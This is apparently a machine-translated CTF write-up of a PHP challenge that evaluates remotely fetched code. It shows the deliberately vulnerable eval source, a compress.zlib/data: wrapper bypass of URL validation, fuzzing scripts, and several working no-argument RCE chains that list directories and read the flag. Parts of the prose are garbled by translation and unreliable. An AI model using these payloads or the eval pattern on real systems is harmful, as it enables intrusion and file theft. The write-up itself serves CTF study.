0x01 отправил код
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
print_r($r);
if (preg_match('/baidu\.com$/', $r['host'])) {
echo "pass preg_match";
$code = file_get_contents($url);
print_r($code);
// 下面这个正则约束了只能是phpinfo();这样的形式
// 所以基本来说 php://input 是不行了
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
} else {
highlight_file(__FILE__);
}
Тема анализ 0x02
Во-первых, мы должны опубликовать URL, а хост конец baidu.com
Временное решение:
- Криптон золото, купить доменное имя
- Baidu 302 Перейти
https://www.4xseo.com/marketing/1280/#title-0 - Использование Baidu поиск, чтобы прыгать, но Baidu включал работу вашего веб-сайта
- Использование Baidu сетевого диска Перейти
compress.zlib://data:@baidu.com/baidu.com?,echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
О том, как обходной filter_var и parse_url
Ссылка Gangster статьи
ссылка
Как обойти filter_var
и parse_url
, в file_get_contents
случае, может быть data://
протокол псевдо обойти, для этой формы data://text/plain;base64,xxxxx
, parse_url
будет text
использоваться в качестве host
, и не чувствительны к MIME PHP, так data://baidu.com/plain;base64,xxxxx
быть в состоянии обойти, и file_get_contents
могут быть считаны непосредственно в xxxx
содержание , Поскольку тема запретила начинать с данными, поэтому мы можем использоватьcompress.zlib
0x03 без параметров RCE
preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
Это единственное ограничение параметр a(b())
в виде букв , а содержащие только
preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)
ограничивает количество функций, например, getallheaders(),session_id()
как
Прежде всего то, что я первый под пухом, посмотрите на эти функции могут быть
<?
var_dump(gettype(get_defined_functions()));
var_dump(count(get_defined_functions()[internal]));
$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) {
if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_|-/i', get_defined_functions()[internal][$i])) {
$i_need_func[$j]=get_defined_functions()[internal][$i];
$j++;
}
}
print_r($i_need_func);
Поскольку функция внутреннего слоя не должна содержать параметры, так что мы можем понизить пушок, чтобы увидеть, какие функции могут быть использованы
<?php
#var_dump(gettype(get_defined_functions()));
#var_dump(count(get_defined_functions()[internal]));
$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) {
if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_/i', get_defined_functions()[internal][$i])) {
$i_need_func[$j]=get_defined_functions()[internal][$i];
$j++;
}
}
try {
for ($i=0; $i < count($i_need_func); $i++) {
if($i_need_func[$i]=="mhash")
continue;
if(!is_null($i_need_func[$i]())){
echo $i_need_func[$i];
var_dump($i_need_func[$i]());
}
}
} catch (\Throwable $th) {
}
localeconv()
Она возвращает массив, и первый.
phpversion()
Возвращает номер версии числа, мы можем использовать математические функции, составляют 46
Как подсказывает название , что flag
родительский каталог, поэтому мы должны подумать о том , чтобы изменить текущий путь, поэтому мы должны построить , ..
чтобы перейти в родительский каталог, начиная здесь также карты в течение длительного времени, но потом вдруг подумал , ls -a
после того, как система не на себя с двумя точками, это не характеристика системы Ну, так что следует paylaod
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
этот сценарий можно использовать математические функции + phpversion()
возврат46
<?php
$list = array("ceil","sinh","cosh","tan","floor","sqrt","cos","sin");
foreach($list as $a){
foreach($list as $b){
foreach($list as $c){
foreach($list as $d){
foreach($list as $e){
foreach($list as $f){
foreach($list as $g){
foreach($list as $h){
if($a($b($c($d($e($f($g($h(phpversion())))))))) == 46)
echo "$a+$b+$c+$d+$e+$f+$g+$h"."\n";
}}}}}}}}
?>
Набор функций может быть легко получено 46
Хотя мы были в состоянии каталога прыгать, но как мы можем продолжать перечислять файлы родительского каталога это?
Функция chdir()
возвращает логическое значение true || false
, так что я по- прежнему fuzz
видеть эти функции передать bool
то , что возвращается , когда значение да. До тех пор , как выше изменения кода его на линии, я не буду повторять их здесь
localtime(time(ture))
Возвращает массив, один из первой секунды, нам нужно только ждать в течение 46 секунд в минуту передает запрос на получение 46hebrevc(crypt(ture))
Возвращает строку, есть шанс для первой строки.
uniqid(true)
Также возвращает строку и фиксировано, мы можемord()
взять первый код строки ascll и настроены таким же образом , используя математическую функцию 46crypt(serialize(array()))
Использование склеп возвращает зашифрованную строку, зашифрованы конец строки имеет шанс произойти.
полезная нагрузка
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));
if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
0x04 иначе резюме
Как видно из названия фильтра et
, _
поэтому мы не можем использовать много функций, но некоторые идеи стоит обучение, здесь блуждающие вожди опубликовали статью
ссылку
- использование
getenv() + array_rand() + array_flip
- использование
getallheaders()
- использование
session_id + session_start() + hex2bin + bin2hex
- использование
get_defined_vars()
- использование
dirname() + chdir()